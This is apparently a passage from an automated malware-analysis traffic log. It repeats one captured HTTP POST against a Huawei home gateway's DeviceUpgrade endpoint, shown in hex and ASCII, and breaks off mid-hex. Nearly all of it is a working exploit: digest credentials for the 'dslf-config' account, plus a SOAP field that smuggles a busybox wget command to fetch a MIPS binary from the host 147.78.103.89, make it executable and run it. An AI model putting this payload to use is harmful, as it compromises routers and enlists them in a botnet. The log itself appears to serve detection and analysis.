6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 